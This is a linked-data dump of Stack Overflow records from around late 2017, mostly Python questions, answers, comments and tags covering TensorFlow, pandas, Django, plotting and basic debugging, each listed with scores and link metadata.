has body: I have an unbalanced dataset that I use to train my Neural Network. The number of labels in the dataset corresponding to the classes I've counted is below: training_data_classnums = [1480, 1104, 1261, 942, 2612, 1109, 355, 355] I use Softmax to calculate the probabilities of each class in the loss function: training_data_classnums = [1480, 1104, 1261, 942, 2612, 1109, 355, 355] class_sum = sum(training_data_classnums) training_data_weights = [x / class_sum for x in training_data_classnums] print("class_weights {}".format(training_data_weights)) ... onehot_labels = tf.one_hot(indices=tf.cast(labels, tf.int32), depth=8) class_weight = tf.constant(training_data_weights) weighted_logits = tf.multiply(logits, class_weight) tf.logging.info("logits_weighted {} {}".format(weighted_logits.get_shape(), logits.get_shape())) loss = tf.losses.softmax_cross_entropy(onehot_labels=onehot_labels, logits=weighted_logits) Is this the correct way to calculate the weights for each class, and is this the right way to apply it into the loss calculation? (I use the tf.Estimator)
linked to: http://stackoverflow.com/q/35155655
type: UnansweredQuestion
has title: Tensorflow - how do I calculate the loss weighting for multiclass classification problems and apply it to the loss function?
tagged with: python
has comment: http://stackoverflow.com/comment/81649784
score: 0
has comment: http://stackoverflow.com/comment/81652134
answer count: 0
linked to: http://stackoverflow.com/q/40198364
tagged with: tensorflow
type: Question

http://stackoverflow.com/a/47312302
downvote count: 0
has body: By using drop_duplicates df.drop(df.drop_duplicates(['stock_qty', 'product_id'], keep=False).index) Out[797]: product_id dt stock_qty 226870 2948259 2017-11-11 17.000 233645 2948259 2017-11-12 17.000 240572 2948260 2017-11-13 5.000 247452 2948260 2017-11-14 5.000 233644 2948260 2017-11-12 5.000 226869 2948260 2017-11-11 5.000 247451 2948262 2017-11-14 -2.000 240571 2948262 2017-11-13 -2.000 240570 2948264 2017-11-13 5.488 233643 2948264 2017-11-12 5.488 247450 2948276 2017-11-14 3.250 226867 2948276 2017-11-11 3.250
type: Answer
score: 4
upvote count: 4
answers question: http://stackoverflow.com/q/47312040

http://stackoverflow.com/comment/81444067
has text: This answers my question! Thank you so much!
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47246830

http://stackoverflow.com/q/47365656
score: 2
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/47365994
upvote count: 2
has answer: http://stackoverflow.com/a/47365994
linked to: http://stackoverflow.com/q/9475241
has body: I have a string such as '0111111011111100' and I want to separate every four characters so here that would be: 0111,1110,1100 Then I want to replace those with another values. Here is my code so far, but it doesn't work properly:
downvote count: 0
has answer: http://stackoverflow.com/a/47365812
tagged with: string
favorite count: 0
type: Question
tagged with: split
has answer: http://stackoverflow.com/a/47365957
has comment: http://stackoverflow.com/comment/81684115
has comment: http://stackoverflow.com/comment/81684201
possible better answer: http://stackoverflow.com/a/47365812
has comment: http://stackoverflow.com/comment/81689662
has comment: http://stackoverflow.com/comment/81684169
tagged with: python
linked to: http://stackoverflow.com/q/434287
has title: how to split a string in python
has answer: http://stackoverflow.com/a/47365849
has comment: http://stackoverflow.com/comment/81684491
answer count: 4

http://stackoverflow.com/q/47251225
has title: How to avoid displaying x-axis labels without any associated data in seaborn factorplot
score: 1
accepted answer: http://stackoverflow.com/a/47251729
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47251729
has comment: http://stackoverflow.com/comment/81459655
has comment: http://stackoverflow.com/comment/81455370
tagged with: seaborn
answer count: 1
downvote count: 0
upvote count: 1
tagged with: python
has comment: http://stackoverflow.com/comment/81462176
has body: To make the plot above, I do this: import seaborn as sns g = sns.factorplot('State', ' % Overall Match', hue='experiment', data=df_states, col='percentile', kind='box', col_wrap=2, sharex=False) Is there a way to NOT display the x-axis labels that do not have nay associated data? -- EDIT: Data is available here: https://www.dropbox.com/s/pn7j95sjjb9n8t0/old_all.csv?dl=0
has comment: http://stackoverflow.com/comment/81468964
type: AnsweredQuestion
tagged with: pandas
linked to: http://stackoverflow.com/q/20109391

scroll
type: Tag
tags question: http://stackoverflow.com/q/47269683
tag name: scroll

http://stackoverflow.com/q/47241889
type: AnsweredQuestion
answer count: 3
score: 1
downvote count: 0
upvote count: 1
has answer: http://stackoverflow.com/a/47242026
has comment: http://stackoverflow.com/comment/81434254
has body: I'm trying to find the daily increase in a bank account for 5 days. I have a list created. I need to create a new list tracking those daily increases so that later on I can find an average increase, max increase, etc. The problem I'm having is I keep getting an Indexerror. Can anyone please help me? I'm getting very frustrated. I've done similar coding before (without determining difference between 2 elements) and I have no problem. The moment I add math to the module, it blows up. Code is below (the reason I have all the print statements is a double-check to make sure the lists are correct): acct_balance = [9852.24,9854.25,9954.24,9985.56,10056.98] index = 0 total = 0 amt_increase = [] while index &lt; len(acct_balance): if index != 0: change = acct_balance[index+1] - acct_balance[index] amt_increase.append(change) total = total + change index = index + 1 print('Account balances: ',acct_balance) print('Daily Increase: ',amt_increase) print('Total Increases: ',total) I then get the below error when I try to run it: Traceback (most recent call last): File "C:\Users\Rogue\Desktop\Rogue Help\HELP.py", line 9, in &lt;module&gt; change = acct_balance[index+1] - acct_balance[index] IndexError: list index out of range This is for school, so I can't use coding I've never seen before, and therefore don't understand. Thank you!
favorite count: 0
has answer: http://stackoverflow.com/a/47242064
type: Question
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/81434991
has title: Basic Python - finding difference between elements in a list - IndexError
tagged with: index-error
accepted answer: http://stackoverflow.com/a/47242026
tagged with: python
possible better answer: http://stackoverflow.com/a/47242064
has answer: http://stackoverflow.com/a/47241988

http://stackoverflow.com/comment/81573696
comment on: http://stackoverflow.com/a/47305177
type: Comment
type: AnswerComment
has text: @Wen sure, will do it when I’m on my pc and let you know.
score: 0

http://stackoverflow.com/q/47260531
type: AnsweredQuestion
score: 0
accepted answer: http://stackoverflow.com/a/47262702
tagged with: matplotlib
tagged with: python
has answer: http://stackoverflow.com/a/47262702
favorite count: 0
type: Question
answer count: 1
upvote count: 1
has body: I am trying to plot the power generated by a wind turbine in function of the number of hours in a day and number of days in a year. I made this small program : wPower1 = np.zeros((365, 24)) d = np.mat(np.arange(24)) print d y = np.mat(np.arange(365)) for heure in range(24): for jour in range(365): wPower1[jour][heure] = wPower[24 * (jour - 1) + heure] print wPower1 fig = plt.figure() ax = fig.add_subplot(111, projection='3d') ax.plot_surface(d, y, wPower1, rstride=1, cstride=1, linewidth=0, antialiased=False) plt.show() But I am getting this error: ValueError: shape mismatch: objects cannot be broadcast to a single shape
downvote count: 1
has title: matplotlib Axes3D error

http://stackoverflow.com/a/47274929
type: AcceptedAnswer
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/47274433
has comment: http://stackoverflow.com/comment/81544133
has comment: http://stackoverflow.com/comment/81555939
has comment: http://stackoverflow.com/comment/81503183
score: 2
has comment: http://stackoverflow.com/comment/81543083
has body: You are not supposed to call the .get_movie_XYZ(...) methods directly: they are used internally to update a Movie instance using the IMDb().update(...) method. For example: import imdb i = imdb.IMDb(accessSystem='http') movie = i.get_movie('0780504') i.update(movie, 'vote details') print(movie.get('mean and median') If you want to know all the available info sets, call i.get_movie_infoset(); to see which keys of a Movie instance were added when a given info set was updated, use the movie.infoset2key mapping. For more information, refer to the official documentation. Regarding the format of the data, this code: from imdb import IMDb ia = IMDb() m = ia.get_movie('0780504', 'vote details') print('median', m.get('median')) print('arithmetic mean', m.get('arithmetic mean')) print('number of votes', m.get('number of votes')) print('demographics', m.get('demographics')) will output something like this: median 8 arithmetic mean 7.8 number of votes {1: 8626, 2: 4135, 3: 5762, 4: 9264, 5: 17595, 6: 39440, 7: 84746, 8: 133331, 9: 98870, 10: 75737} demographics {'imdb staff': {'rating': 7.8, 'votes': 36}, 'aged under 18': {'rating': 8.5, 'votes': 844}, 'non us users': {'rating': 7.8, 'votes': 250586}, 'top 1000 voters': {'rating': 7.6, 'votes': 739}, 'males aged 45 plus': {'rating': 7.4, 'votes': 24213}, 'aged 45 plus': {'rating': 7.4, 'votes': 28779}, 'aged 18 29': {'rating': 7.9, 'votes': 183217}, 'us users': {'rating': 8.0, 'votes': 71299}, 'aged 30 44': {'rating': 7.7, 'votes': 181063}, 'males aged under 18': {'rating': 8.5, 'votes': 705}, 'males aged 30 44': {'rating': 7.8, 'votes': 152988}, 'females aged under 18': {'rating': 7.9, 'votes': 133}, 'males aged 18 29': {'rating': 8.0, 'votes': 148749}, 'females aged 45 plus': {'rating': 7.4, 'votes': 4004}, 'imdb users': {'rating': 7.8, 'votes': 477506}, 'females aged 18 29': {'rating': 7.6, 'votes': 32575}, 'females': {'rating': 7.6, 'votes': 65217}, 'males': {'rating': 7.9, 'votes': 341617}, 'females aged 30 44': {'rating':…
accepted answer of: http://stackoverflow.com/q/47274433
has comment: http://stackoverflow.com/comment/81580762
upvote count: 2

http://stackoverflow.com/comment/81468143
score: 0
has text: Yes. And also , if there's no data in an interval, it should print 0.
type: QuestionComment
comment on: http://stackoverflow.com/q/47258648
type: Comment

parameters
tags question: http://stackoverflow.com/q/47314567
tag name: parameters
tags question: http://stackoverflow.com/q/47372969
type: Tag
tags question: http://stackoverflow.com/q/47254755

http://stackoverflow.com/comment/81580787
type: QuestionComment
comment on: http://stackoverflow.com/q/47314902
has text: Oh I see what you mean. Yes I will post the code that extracts the rows from each CSV to the new output csv.
score: 0
type: Comment

systrace
tags question: http://stackoverflow.com/q/47320176
tag name: systrace
type: Tag

http://stackoverflow.com/q/47302571
has comment: http://stackoverflow.com/comment/81555933
tagged with: ubuntu
type: Question
tagged with: windows
has comment: http://stackoverflow.com/comment/81556115
tagged with: python
type: UnansweredQuestion
tagged with: sql-server-2012
has comment: http://stackoverflow.com/comment/81557643
has comment: http://stackoverflow.com/comment/81557799
has body: Django version: 1.11.2 Python version: 3.6 I have a problem when I use Django to show data from database. I had 20 articles in database (table: ResultArticle) In Windows 10, I can show all article (20) to template (web). But in Ubuntu 16.04, I just can show 18 to template. I loss 2 article, this 2 article had long content(full_text 12728 bytes &amp; full_text_stem 11471 bytes ) I doubt some kind of problems about buffer size (per object) Maybe Django had limitation of buffer size. I spent one day finding how to change it. models.py class ResultArticle(models.Model): article_guid = models.CharField(primary_key=True, max_length=36) project_guid = models.CharField(max_length=36) title = models.CharField(max_length=255) full_text = models.TextField() # This field type is a guess. full_text_stem = models.TextField(blank=True, null=True) # This field type is a guess. resource = models.CharField(max_length=255) get_time = models.DateTimeField() url = models.TextField() # This field type is a guess. class Meta: managed = False db_table = 'result_article' views.py def archives(request,project_id,filter): articles = ResultArticle.objects.filter(project_guid = project_id) return render(request, 'archives/archives.html', {'articles': articles}) Any help will be appreciated.
has title: Django in difference OS (windows10 &Ubuntu16.04) access same DB (SQL Server 2012) but show difference result to template
score: 0
answer count: 0
tagged with: django

http://stackoverflow.com/q/47231696
has title: Breaking a rod into small pieces; recursion step returns nothing useful
accepted answer: http://stackoverflow.com/a/47231746
tagged with: python
has body: I have been learning python by myself and recursion is troublesome. We are given a starting piece of weight 2.0. When the piece weight is =&lt; 0.1, we return a count of 1 piece. Otherwise, break the piece into 2, 3, or 4 pieces (quantity chosen randomly) and recur. Return the total count of pieces when all are no larger than 0.1. So far my code looks like this. import random as rand def breaker_function(weight_of_piece): if weight_of_piece &lt;= 0.1: return 1 #returns one piece else: return breaker_function(weight_of_piece/rand.randint(2,4)) However, this code does not work. I ran it through the debugger, and when it reached the recursive step, the program broke it randomly (which were not less than 0.1). Since the pieces were not less than 0.1, the function stopped. I am not getting an error. I have also tried double recursion(?) such as: return breaker_function(breaker_function(weight_of_piece/rand.randint(2,4))) I have also tried to store the random pieces in a list, but that just complicated things, and got a similar result. Test case: a starting piece of size 1.0 i should get approximately 18 pieces.
tagged with: random
type: AnsweredQuestion
score: 0
has answer: http://stackoverflow.com/a/47231746
answer count: 1
tagged with: recursion
type: Question

http://stackoverflow.com/comment/81597642
comment on: http://stackoverflow.com/a/47323334
type: Comment
has text: Thank you, I also find another answer.
type: AnswerComment
score: 0

http://stackoverflow.com/q/47326638
answer count: 2
has body: I have a python dictionary, its keys are datetime.datetime objects, such as: a = {datetime(2018,1,1):1, datetime(2018,1,2):2, datetime(2018,1,3):3, ...} I would like to get the key (date) with max value in a portion of this dictionary, such as between dates 2018-03-27 and 2018-04-17. What is the mosy pythonic way of achieving this?
has comment: http://stackoverflow.com/comment/81604532
upvote count: 1
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/47326987
tagged with: dictionary
has comment: http://stackoverflow.com/comment/81604192
has answer: http://stackoverflow.com/a/47326944
favorite count: 0
score: 0
downvote count: 1
tagged with: python
has comment: http://stackoverflow.com/comment/81604053
has title: Getting the key with max value in a portion of a python dictionary
type: Question

http://stackoverflow.com/q/47335255
type: AnsweredQuestion
upvote count: 0
answer count: 1
downvote count: 1
favorite count: 0
type: Question
has title: python rename field json with specific structure
has answer: http://stackoverflow.com/a/47335319
accepted answer: http://stackoverflow.com/a/47335319
has comment: http://stackoverflow.com/comment/81621993
has body: i have a json with structure: { " features": [ { "geometry": { "type": "Polygon", "coordinates": [] }, "type": "Feature", "properties": { "ADMIN_LEVE": "REGION", "POPULTION": 4363916, "GEO_CENTER": "7.923209152686669, 45.06052300898206", "ID": "01", "NAME": "PIEMONTE" } } ] } and i need to rename the field "ADMIN_LEVE". I have write a code using pandas to rename but doesn't work df = pd.DataFrame(data) df.rename(columns={'ADMIN_LEVE':'ADMIN_LEVEL'}, inplace=True) I can i do it? i have also tryied with replace but doesn't work json_data=open(path + ".json").read() data = json.loads(json_data) for d in data: d.replace('"ADMIN_LEVE"', '"ADMIN_LEVEL"') Thanks
has comment: http://stackoverflow.com/comment/81621955
tagged with: http://stackoverflow.com/tag/json
tagged with: rename
tagged with: python
score: -1

http://stackoverflow.com/q/47294659
has comment: http://stackoverflow.com/comment/81540375
has comment: http://stackoverflow.com/comment/81540364
tagged with: matching
has body: I have two lists one as a global, and one as a local in a function List1 = [[['MP01'], 0], [['MP02'], 0], [['MP03'], 0], [['MP04'], 0], [['MP05'], 0], [['MP06'], 0], [['MP07'], 0], [['MP08'], 0], [['MP09'], 0], [['MP10'], 0], [['MP11'], 0], [['MP12'], 0], [['MP13'], 0], [['MP14'], 0], [['MP15'], 0], [['MP16'], 0], [['MP17'], 0], [['MP18'], 0], [['MP19'], 0], [['MP20'], 0], [['MP21'], 0], [['MP22'], 0], [['MP23'], 0], [['MP24'], 0], [['MP25'], 0], [['MP26'], 0], [['MP27'], 0], [['MP28'], 0], [['MP29'], 0], [['MP30'], 0], [['MP31'], 0], [['MP32'], 0]] function(): List2 = [['MP18', 100], ['MP28', 50], ['MP20', 30], ['MP07', 30], ['MP12', 10], ['MP03', 10], ['MP30', 10], ['MP14', 10], ['MP15', 5], ['MP16', 5], ['MP13', 5], ['MP02', 5], ['MP26', 5], ['MP23', 5], ['MP22 ', 5], ['MP01', 5]] final_list = [[[a], b+dict(List2).get(a, 0)] for [a], b in List1] Basically, "List2" represents scores that players have achieved in a round of a game (MP18 got 100, MP28 got 50 etc) and "List1" will be used to accumulated the scores for a number of rounds of the game for each player. What I'm wanting to do is essentially add each players score to "List1" and the problem that I am having is that since "final_list" is within the function, everytime the function is called and produces new values for "List2", insead of adding the new values to "List1" it simply overwrites them. For example, after the first round "List1" will have the updated values for players from "List2": ['MP18', 100], ['MP28', 50] etc So MP18 will have 100 points and MP28 will have 50 etc. However, on the second run through of the program (second round) "List2" will have different values for each player for example: [['MP18, 50], [MP28, 100] etc But because the "final_list" is being created from within the function, the first set of scores are being overwritten by the second instead of the second being added to the first if that makes sense? so on the second run through "List1" will look like: [[MP28, 100], [MP18, 50] …
has title: Python matching strings in list and incrementing values
tagged with: python
score: -1
linked to: http://stackoverflow.com/q/47267727
type: AnsweredQuestion
tagged with: list
accepted answer: http://stackoverflow.com/a/47294711
downvote count: 2
answer count: 1
has answer: http://stackoverflow.com/a/47294711
upvote count: 1
favorite count: 0
type: Question

http://stackoverflow.com/q/47346443
answer count: 0
type: UnansweredQuestion
downvote count: 0
upvote count: 1
has body: My question is whether there is a way to generate a HiveQL with insert statement with X of columns and Y of rows into something like from Pandas' DataFrame object: query = "INSERT INTO %s SELECT %s, %s, %s, %s, %s, %s, %s from " % ( table_name, column_names[0], column_names[1], column_names[2], column_names[3], column_names[4], column_names[5], column_names[6]) I have the following dataframe as an example: metric predict_date value y_date x_date ... (many columns) 0 sales 2017-10-01 7.539010e+06 2016-06-01 2017-09-01 1 sales 2017-11-01 8.364379e+06 2016-07-01 2017-09-01 2 sales 2017-12-01 9.533355e+06 2016-08-01 2017-09-01 . . . (many rows) The use case here is just getting that query constructed. NOTE: Pandas' to_sql() is actually writing to the SQL which I do not want for my use case. I believe Spark is an option, but is there a quick-and-easy way to generate this as setting up Spark cluster takes time. :-)
has comment: http://stackoverflow.com/comment/81645699
has comment: http://stackoverflow.com/comment/81645958
tagged with: hive
has comment: http://stackoverflow.com/comment/81645523
tagged with: pandas
score: 1
tagged with: hiveql
has comment: http://stackoverflow.com/comment/81645270
tagged with: python
has title: Pandas DataFrame to Hive Query for Insert
favorite count: 0
type: Question
tagged with: hadoop

http://stackoverflow.com/comment/81674812
type: QuestionComment
type: Comment
has text: Thanks cᴏʟᴅsᴘᴇᴇᴅ, I'll have a look. Funny - you actually had chimed in on one of the answers on the question that started all of this, on Aug 22, then you asked this question you just mentioned here on Aug 28. I wonder if it got you thinking? Wim's answer to you suggested this was related to buggy behavior, and if it's fixed in `0.21` I guess this isn't a relevant question anymore. I'll keep it open for a bit longer while I go through the docs, but thinking you've probably resolved my question here.
comment on: http://stackoverflow.com/q/47360803
score: 0

http://stackoverflow.com/comment/81822645
has text: @AKSW Is it possible to have an example?
type: Comment
score: 0
comment on: http://stackoverflow.com/q/47290338
type: QuestionComment

http://stackoverflow.com/q/47267272
accepted answer: http://stackoverflow.com/a/47268525
has title: django unique model with one to one relashionship
has comment: http://stackoverflow.com/comment/81485549
has answer: http://stackoverflow.com/a/47268525
type: AnsweredQuestion
tagged with: django-models
tagged with: python
has body: I have 2 models. each of them can have int_number via one-to-one relashionship with IntNumber model. So i need to do IntNumber.number unique for them(user and group should not refer same IntNumber). Extra lines are omitted. class Group(models.Model): int_number = models.OneToOneField( IntNumber, related_name='int_number', on_delete=models.CASCADE, ) class User(AbstractUser): int_number = models.OneToOneField( IntNumber, related_name='int_number', on_delete=models.CASCADE, ) class IntNumber(models.Model): number = models.IntegerField(unique=True)
type: Question
tagged with: python-3.x
score: 0
answer count: 1
tagged with: django

http://stackoverflow.com/q/47380110
tagged with: attributeerror
has answer: http://stackoverflow.com/a/47380316
possible better answer: http://stackoverflow.com/a/47380287
has answer: http://stackoverflow.com/a/47380368
has answer: http://stackoverflow.com/a/47380287
has title: Python Attribute Error: 'NoneType' object has no attribute 'find_all'
has comment: http://stackoverflow.com/comment/81712721
tagged with: beautifulsoup
type: AnsweredQuestion
answer count: 3
has body: I'm trying to get abbreviations of US states but this code: from bs4 import BeautifulSoup from urllib.request import urlopen url='https://simple.wikipedia.org/wiki/List_of_U.S._states' web=urlopen(url) source=BeautifulSoup(web, 'html.parser') table=source.find('table', {'class': 'wikitable sortable jquery-tablesorter'}) abbs=table.find_all('b') print(abbs.get_text()) returns AttributeError: 'Nonetype' object has no attribute 'find_all'. What's the problem of my code?
has comment: http://stackoverflow.com/comment/81712479
upvote count: 1
score: 1
tagged with: python
accepted answer: http://stackoverflow.com/a/47380368
has comment: http://stackoverflow.com/comment/81712733
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81712876
tagged with: python-3.x
downvote count: 0

http://stackoverflow.com/comment/81440464
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/47245019
score: 2
has text: Stackoverflow is not a programming service but to answer concrete single questions for which you should show your own effort to solve them.

http://stackoverflow.com/a/47268345
answers question: http://stackoverflow.com/q/47267980
has body: From the Attachments.Add Method (Outlook) docs, the first argument is: The source of the attachment. This can be a file (represented by the full file system path with a file name) or an Outlook item that constitutes the attachment.
type: AcceptedAnswer
type: Answer
accepted answer of: http://stackoverflow.com/q/47267980
score: 0

http://stackoverflow.com/q/47271339
type: Question
has comment: http://stackoverflow.com/comment/81494029
tagged with: django
tagged with: python
has answer: http://stackoverflow.com/a/47271643
accepted answer: http://stackoverflow.com/a/47271643
has comment: http://stackoverflow.com/comment/81494082
has body: I have the following blog project : models.py: from django.db import models from django.utils import timezone class Post(models.Model): title = models.CharField(max_length=200) body = models.TextField() pub_date = models.DateTimeField(default=timezone.now) categories = models.ManyToManyField('Category') def __str__(self): return self.title class Category(models.Model): title = models.CharField(max_length=200) def __str__(self): return self.title # Change the name in Admin from categorys to categories class Meta: verbose_name_plural = "categories" views.py: from django.shortcuts import render from .models import Post, Category, Comment def getPosts(request): posting = Post.objects.all().order_by('-pub_date') categories = Category.objects.all() context = { 'posting':posting, 'categories':categories, } return render(request, 'posts/getPosts.html', context) getPosts.html template : {% if posting %} {% for article in posting %} {{article.title}} {{article.body}} Posted : {{article.pub_date}} Found in category : {{ article.categories }} {{ article.categories.all }} {% for category in categories %} {{category.title}} {% endfor %} {% endfor %} {% endif %} I have three posts, which all display properly, but {{article.categories}} is giving me: posts.Category.None {{article.categories.all}} gives me QuerySet [<Category: Diving>] And the second loop outputs the list of all categories, which I expected as just a test run: Kit & Packing Diving Places Tips Private I am trying to simply pull through the category name for each post, which has been selected in the admin panel and saved through the admin panel. I have tried what feels like a thousand different suggestions, such as changing the view to category = post.category_set.all(), and have been researching this for days now, but am getting no-where.
has title: Access Many-to-Many field within Django template
type: AnsweredQuestion
score: 3
upvote count: 3
has comment: http://stackoverflow.com/comment/81493804
has comment: http://stackoverflow.com/comment/81493911
downvote count: 0
answer count: 1
favorite count: 0

http://stackoverflow.com/comment/81713109
comment on: http://stackoverflow.com/q/47374718
has text: To clarify, I don’t refresh the page; the page refreshes itself every ~20 seconds. It tells you “please don’t refresh or you’ll lose your place in queue”.
score: 0
type: Comment
type: QuestionComment

timer
tag name: timer
tags question: http://stackoverflow.com/q/47379461
type: Tag

http://stackoverflow.com/comment/81664369
has text: I don't suppose you have a citable reference for the repository? [e.g., https://guides.github.com/activities/citable-code/]
comment on: http://stackoverflow.com/q/47295511
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/q/47227387
downvote count: 0
has title: IPython autoreload doesn't work with Module level __init__.py
tagged with: ipython-magic
upvote count: 1
favorite count: 0
type: Question
has body: Let's assume we have the following package structure. module __init__.py +--&gt; submodule __init__.py +--&gt; subsubmodule __init__.py importantstuff.py Classes from importantstuff can be imported by writing from module.submodule.subsubmodule.importantstuff import ImportantClass. If I put that line in the module level __init__.py then importing can be shorten to from module import ImportantClass. Now, if I use that shortcut in combination Autoreload IPython Magic commands: In [1]: %load_ext autoreload In [2]: %autoreload 2 Changes in the class ImportantClass will no longer automatically picked up. Is there a workaround?
type: UnansweredQuestion
tagged with: python
tagged with: jupyter
tagged with: ipython
answer count: 0
score: 1

http://stackoverflow.com/comment/81446016
type: Comment
comment on: http://stackoverflow.com/a/47247950
type: AnswerComment
has text: Thank you. You made my day.
score: 1

http://stackoverflow.com/q/47273577
tagged with: tableau-api
has body: My goal is to join three datasources that are only available to me through Tableau Server (no direct database access). The data is too large to efficiently use Tableau's Data Blending. One way forward is to pull the data from the three Tableau Server Datasources into a Pandas dataframe, do the necessary manipulations, and save down an Excel File to use as a datasource for a visualization in Tableau. I have found lots of information on the TabPy module that allows one to convert a Pandas dataframe to a Tableau Data Extract but have not found much re: how to pull data from Tableau server in an automated fashion. I have also read about tabcmd as a way of automating tasks, but do not have the necessary admin permissions. Let me know if you need further information.
has title: Pull data from Tableau Server into Pandas Dataframe
type: Question
has comment: http://stackoverflow.com/comment/81528364
has answer: http://stackoverflow.com/a/59672598
tagged with: automation
accepted answer: http://stackoverflow.com/a/47276384
has answer: http://stackoverflow.com/a/47276384
tagged with: python
possible better answer: http://stackoverflow.com/a/59672598
type: AnsweredQuestion
score: 0
answer count: 2
tagged with: pandas
has comment: http://stackoverflow.com/comment/81534263

http://stackoverflow.com/q/47319066
has comment: http://stackoverflow.com/comment/81589456
has comment: http://stackoverflow.com/comment/81589366
has answer: http://stackoverflow.com/a/47319093
downvote count: 3
has title: Boolean attribute in python object
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47319170
answer count: 2
has body: It requires isgood to be a string only. I want it to be boolean. Also self.__isgood = goodornot should throw an error, why not? class Animal: Name = "" isgood = None def setisgood(self,goodornot): self.__isgood = goodornot def nameset(self,name): self.Name = name dog = Animal() dog.setisgood(False) dog.nameset("jaang") print("Your pet is:"+dog.isgood)
upvote count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81589372
has comment: http://stackoverflow.com/comment/81589383
has comment: http://stackoverflow.com/comment/81589778
score: -3
has comment: http://stackoverflow.com/comment/81589729
tagged with: python
has comment: http://stackoverflow.com/comment/81589422
has comment: http://stackoverflow.com/comment/81589586
has comment: http://stackoverflow.com/comment/81589379
has comment: http://stackoverflow.com/comment/81589650
has comment: http://stackoverflow.com/comment/81589393

http://stackoverflow.com/comment/81534083
type: AnswerComment
has text: @Leena No, you won't need multiple dictionaries. Have a closer look and see that the `Product` class stores all the information. Just like `tell_price` returns `self.products[name].price`, a `tell_quantity` method could `return self.products[name].quantity`. Your question was not about creating objects based on user input, it was about retrieving information.
score: 0
type: Comment
comment on: http://stackoverflow.com/a/47249391

http://stackoverflow.com/q/47256733
answer count: 0
tagged with: mysql
has comment: http://stackoverflow.com/comment/81464394
has comment: http://stackoverflow.com/comment/81464406
type: Question
has comment: http://stackoverflow.com/comment/81464542
has body: I am trying write a .wav file in python. Actually, my MySQL database has a blob data (.wav file) and I am getting that blob file in a bytearray. I want to write again blob to .wav. My code block. Wave_Byte = bytearray() cursor=open.cursor() sql = "select Wav from voice where Email='xxxx@gmail.com'" cursor.execute(sql) resultOfWindows = cursor.fetchall() for rows in resultOfWindows: Wave_Byte=rows[0] savefile=open('example.wav','wb') savefile.write(Wave_Byte) savefile.close() cursor.close() open.close() I got this error : Traceback (most recent call last): File "/home/pi/On-LinePython.py", line 47, in savefile=open('example.wav','wb') TypeError: 'MySQLConnection' object is not callable
tagged with: byte
has title: Write a .wav with byte in Python
type: UnansweredQuestion
tagged with: python
tagged with: wav
score: 0

row
tags question: http://stackoverflow.com/q/47298907
tags question: http://stackoverflow.com/q/47228362
tags question: http://stackoverflow.com/q/47278540
tag name: row
type: Tag

game-development
type: Tag
tags question: http://stackoverflow.com/q/47369004
tag name: game-development

http://stackoverflow.com/q/47270227
has comment: http://stackoverflow.com/comment/81491684
type: AnsweredQuestion
score: 1
has body: So I have some storm data that I've sorted into dictionaries, with the key being the year the storm occurred. The value of the main dictionary is actually another dictionary, with the storm name as the key for the inner dictionary. After I've created all the dictionaries, I ask the user for an input, and store that input as the variable year which gets passed to the function that I want to use to display the data, let's call it display_info(dictionary, year). Sidenote: I have a main() function that actually takes the input for year, and other functions that edit and return the dictionary, so what I have here isn't complete, it's just this one function that I need help with. year = input("Input a year: ") def display_info(dictionary, year): '''Displays the storm info for the year input''' for k,v in dictionary.items(): if k == year: print(k, v) I've tried a few different variations of this, but none seem to get the job done.
has comment: http://stackoverflow.com/comment/81491564
has comment: http://stackoverflow.com/comment/81491334
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81491589
has comment: http://stackoverflow.com/comment/81491325
accepted answer: http://stackoverflow.com/a/47270279
has comment: http://stackoverflow.com/comment/81491825
has title: Sort a dictionary by key, and then take values from a particular key
has answer: http://stackoverflow.com/a/47270279
downvote count: 0
has comment: http://stackoverflow.com/comment/81491384
answer count: 1
upvote count: 1
tagged with: python
tagged with: dictionary

http://stackoverflow.com/comment/81664460
has text: I have my json file into folder so i can read it as string and after replace, but after run script if i open json file, the replace not work
type: Comment
comment on: http://stackoverflow.com/a/47335319
score: 0
type: AnswerComment

http://stackoverflow.com/comment/82030722
type: Comment
score: 0
has text: @ArthurSpoon yeah I feel like there is some sort of confusion. I will clear that up in the question. Apologies for the miscommunication?
type: QuestionComment
comment on: http://stackoverflow.com/q/47380733

http://stackoverflow.com/a/47342897
answers question: http://stackoverflow.com/q/47342734
score: 0
has body: Although the problem can be solved with a stack, it's a little wasteful of memory. In normal-sized inputs this wouldn't ever be a problem, but in really large sequences it would become a problem. You don't need to keep track of the parens themselves, but just a count of how many open ones there are -- total memory usage is a single integer, rather than one entry on a stack per paren encountered. def proper_paren(seq): open_parens = 0 for char in seq: if char == '(': open_parens += 1 elif char == ')': open_parens -= 1 if open_parens &lt; 0: return False return open_parens == 0
type: Answer

http://stackoverflow.com/a/47364993
has comment: http://stackoverflow.com/comment/81748870
has comment: http://stackoverflow.com/comment/81747777
score: 5
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/81749197
accepted answer of: http://stackoverflow.com/q/47361272
upvote count: 5
type: Answer
has body: This is a very common problem, especially with datasets from INGRID. The reason xarray can't decode the date whose units are "months since..." is due to the underlying netcdf4-python library's refusal to parse such dates. This is discussed in a netcdf4-python github issue The problem with time units such as "months" is that they are not well defined. In contrast to days, hours, etc. the length of a month depends on the calendar used and even varies between different months. INGRID unfortunately refuses to accept this fact and continues to use "months" as its default unit, despite the ambiguity. So right now there is this frustrating incompatibility between INGRID and xarray / python-netcdf4. Anyway, here is a hack to accomplish what you want without leaving xarray # create new coordinates for month and year ds.coords['month'] = np.ceil(ds['T'] % 12).astype('int') ds.coords['year'] = (ds['T'] // 12).astype('int') # calculate monthly climatology ds_clim = ds.groupby('month').mean(dim='T') # calculate annual mean ds_am = ds.groupby('year').mean(dim='T')
answers question: http://stackoverflow.com/q/47361272

fadein
type: Tag
tags question: http://stackoverflow.com/q/47252187
tag name: fadein

http://stackoverflow.com/a/47242204
